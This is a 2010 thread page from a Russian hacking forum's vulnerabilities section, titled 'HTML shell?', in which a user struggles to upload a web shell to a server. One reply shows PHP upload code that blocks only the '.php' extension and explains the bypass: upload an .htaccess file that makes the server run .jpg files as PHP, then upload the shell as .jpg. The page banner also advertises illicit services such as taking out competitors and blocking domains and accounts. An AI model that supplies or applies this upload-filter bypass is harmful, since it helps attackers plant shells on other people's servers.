HTML шелл ?

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
HTML шелл ?

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

26.09.2010, 18:36

TheLuckyOne

Познающий

Регистрация: 09.09.2010

Сообщений: 30

С нами: 8249366

Репутация: 0

html - язык разметки.

ололо

#12

26.09.2010, 23:59

euphoria

Новичок

Регистрация: 03.09.2010

Сообщений: 4

С нами: 8258006

Репутация: 0

Можно конечно но только смотреть файлы не на сервере, а у клиента на компьютере

#13

27.09.2010, 05:00

wolf295214

Новичок

Регистрация: 09.04.2009

Сообщений: 8

С нами: 8995067

Репутация: 0

просто такая ситуация!заливаю шелл,файл остаётся на серваке,но при обращеннии к нему,пишет ошибку 500!через аватор не прокатывает!а расширение .php сразу выдаёт ошибку расширение spx просто покказывается исходник!если кто знпет или у кого есть такоц файл пишите в ПМ!если не хотите чтобы многие знали об этом!toxa знает но не говорит!

#14

27.09.2010, 07:37

Expl0ited

Познавший АНТИЧАТ

Регистрация: 16.07.2010

Сообщений: 1,022

С нами: 8328566

Репутация: 935

Если заливаемому файлу программно не меняется имя файла, а просто например идет проверка на расширение, на подобии

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR][COLOR="#007700"]HTML;

}

else {

[/COLOR][COLOR="#0000BB"]$allowed_files[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'php'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]// или любое(ые) запрещаемое(ые) расширение(ия)

[/COLOR][COLOR="#0000BB"]$tfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]end[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]] ) ); 

[/COLOR][COLOR="#0000BB"]$tfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strtolower[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tfile[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$tfile[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]$allowed_files[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]; 

    if(![/COLOR][COLOR="#0000BB"]$check[/COLOR][COLOR="#007700"]) die([/COLOR][COLOR="#DD0000"]'hack detected'[/COLOR][COLOR="#007700"]); else {

        if([/COLOR][COLOR="#0000BB"]copy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'tmp_name'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'DOCUMENT_ROOT'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]]))

        echo([/COLOR][COLOR="#DD0000"]'File upload: here'[/COLOR][COLOR="#007700"]);

    }

}

[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]

То можно это легко использовать, если залить файл .htaccess с содержанием например:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]AddType application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg

AddHandler application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg[/COLOR][/COLOR]

и затем спокойно лить шелл с расширением .jpg

Страница 2 из 2

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Переделанный шелл!	k1b0rg	PHP	33	03.04.2007 08:29
Что-то типа статьи по Html.	Allen	Болталка	8	03.03.2006 21:38

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход